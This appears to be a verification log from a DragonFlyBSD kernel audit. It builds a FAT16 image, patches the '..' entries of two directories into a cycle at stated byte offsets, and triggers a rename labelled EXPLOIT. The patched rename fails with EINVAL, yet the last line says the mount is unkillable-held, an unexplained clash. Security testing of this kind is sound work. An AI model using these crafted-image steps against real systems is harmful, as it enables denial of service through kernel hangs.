DragonFlyBSD Kernel Audit
DF-3037 / fix_run.log
← back to finding ↓ download raw
=== [0] guest info ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #1: Sat Sep  5 15:02:31 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
=== [1] build base FAT16 image with A, A/moveme, B, D ===
16777216 bytes transferred in 0.031001 secs (541176774 bytes/sec)
total 58
drwxr-xr-x  1 root  wheel  16384 Jan  1  1980 .
drwxr-xr-x  1 root  wheel      0 Jun 30 09:49 ..
drwxr-xr-x  1 root  wheel   4096 Sep  5 15:27 A
drwxr-xr-x  1 root  wheel   4096 Sep  5 15:27 B
drwxr-xr-x  1 root  wheel   4096 Sep  5 15:27 D
=== [2] map '.' entries ===
# off(cluster-start of '.' entry)  own-cluster
dot at off=33280 owncluster=2 next-entry='..         '
dot at off=37376 owncluster=3 next-entry='..         '
dot at off=41472 owncluster=4 next-entry='..         '
dot at off=45568 owncluster=5 next-entry='..         '
=== [3] CONTROL: rename on the unpatched image ===
rename returned success
control rc=0 elapsed=0s
m2
=== [4] restore image (fresh) and patch B<->D '..' cycle ===
16777216 bytes transferred in 0.018532 secs (905334536 bytes/sec)
# off(cluster-start of '.' entry)  own-cluster
dot at off=33280 owncluster=2 next-entry='..         '
dot at off=37376 owncluster=3 next-entry='..         '
dot at off=41472 owncluster=4 next-entry='..         '
dot at off=45568 owncluster=5 next-entry='..         '
B: dotoff=41472 cluster=4   D: dotoff=45568 cluster=5
patching '..' at off=41504 : startcluster 0 -> 5
patching '..' at off=45600 : startcluster 0 -> 4
cycle installed: B/.. -> 5, D/.. -> 4
=== [5] EXPLOIT: rename under cycle (15s watchdog) ===
rename: Invalid argument
trigger-exited rc=1
--- process state ---
--- system still usable (other CPUs)? ---
Sat Sep  5 15:28:05 UTC 2026
 3:28PM  up 1 min, 0 users, load averages: 0.06, 0.03, 0.01
--- dmesg tail ---
HAMMER2: VOLDATA DUMP
HAMMER2: INITIATE SPANs
swap low/high-water marks set to 41940/62910
vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
NOTE: mount /mnt is now unkillable-held; guest must be reset.